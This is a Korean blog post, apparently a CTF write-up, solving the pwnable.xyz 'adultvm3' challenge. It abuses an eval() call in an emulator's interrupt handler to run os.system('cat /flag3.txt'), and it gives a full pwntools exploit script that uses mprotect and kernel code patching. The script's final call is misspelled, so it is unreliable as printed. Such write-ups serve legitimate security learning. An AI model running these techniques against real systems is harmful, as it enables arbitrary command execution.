Pwnstar

pwnable.xyz adultvm3 본문

Wargame/pwnable.xyz

pwnable.xyz adultvm3

포너블처돌이 2020. 12. 22. 15:33

후 adultvm의 마지막 문제이다.

adultvm2에서 조금 더 응용해서 진행하면 되는데, 좀 더 신경써야하는 부분이 있다면

def handle_kernel_interrupt(uc, intno, data):    
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

이 함수이다. 여기서 이제 인터럽트가 발생했을 때 인터럽트의 번호가 0x70일때, rax의 값에 따라 mprotect나 write함수가 실행되는데, rax가 7일때, eval이라는 함수가 있다. 쉽게 말해서 exec같은 함수라고 생각하면 된다 이 함수로 "cat flag"같은 문자열을 인자로 준다면 플래그를 볼 수 있고, 뭐 그런 방식이다.

rdi로 cat flag같은 문자열을 보내주고, 그 결과값을 rsi에 적어놓으니까, 여기를 통해서 플래그를 보면 된다.

bss영역에 원하는 문자열을 입력할 수 있으니, 

os.system('cat /flag3.txt')

이 코드를 처음에 입력해놓자.

그리고 이 다음은 vm2 문제에서 mprotect를 적용하는 것까지는 모두 같고, 원하는 syscall을 만들 때, 다른 코드가 필요한데, 인터럽트를 발생시키기 위한 int 0x70과 rax의 값이 7이어야하기 때문에, mov rax, 7을 필수로 넣어줘야한다. 그런데 왜 그런지는 모르겠는데, 이 두가지만 넣어서는 코드가 제대로 돌아가지 않는다;; 왜그럴까 그래서 padding값을 좀 넣어줘야 했음.

이후에는 내가 만들어준 syscall 번호로 호출해주면 된다.

ex3.py

from pwn import*

context(log_level="debug", arch="amd64", os="linux")

#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
script = '''
b*0x00000000040002C7
'''
#gdb.attach(p, script)

code = '''
    xor rax, rax
    mov rax, 7
    int 0x70
    iret
'''
code = asm(code)

#flag3 = "open('/flag3.txt', 'r').read()"
flag3 = "os.system('cat /flag3.txt')"
int70 = 0xFFFFFFFF8100013B
kernel_addr = 0xFFFFFFFF81000000
patched_syscall_addr = 0xFFFFFFFF8100011E
syscall = 0x4000338
read = 0x000000000400000f

def edit(idx, payload):
    p.sendlineafter("Exit\n", "1")
    p.sendlineafter(": ", str(idx))
    p.sendlineafter(": ", payload)  

def show(idx):
    p.sendlineafter("Exit\n", "2")
    p.sendlineafter(": ", str(idx))

edit(0, "A"*0x40)
edit(1, flag3)

for i in range(2, 9):
    edit(i, "A"*0x40)

#call read
log.info("step 1")
payload = "B"*8
payload += p64(0x4100380)
payload += p64(0x28)
payload += p64(0x1) * 2
payload += p64(read)

edit(9, payload)
show(0)

#setting mprotect
log.info("setting mprotect")
mpro = p64(0xa)
mpro += p64(kernel_addr)
mpro += p64(0x1000)
mpro += p64(0x7)
mpro += p64(syscall)

sleep(0.5)
p.send(mpro)
show(0)

#code patch
log.info("patch code")
payload2 = "C"*8
payload2 += p64(0) * 2
payload2 += p64(patched_syscall_addr)
payload2 += p64(len(code))
payload2 += p64(syscall)

edit(9, payload2)
show(0)
sleep(0.5)
p.send(code)

##cat flag
payload3 = "D"*8
payload3 += p64(6)
payload3 += p64(0x41001b8)
payload3 += p64(0)
payload3 += p64(len(flag3))
payload3 += p64(syscall)

sleep(0.5)
edit(9, payload3)
show(0)

p.interactisysve()

 

문제풀면서 공부한 것 중에 새롭게 알게 된게....int x(숫자)하면 이게 인터럽트를 호출한다는 거구나....근데 이건 32비트에서만 쓰이는 syscall인줄로만 알았다.

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz note v5  (1) 2020.12.23
pwnable.xyz adultvm2  (0) 2020.12.22
pwnable.xyz adultvm  (0) 2020.12.21
pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz fishing  (0) 2020.12.19
Comments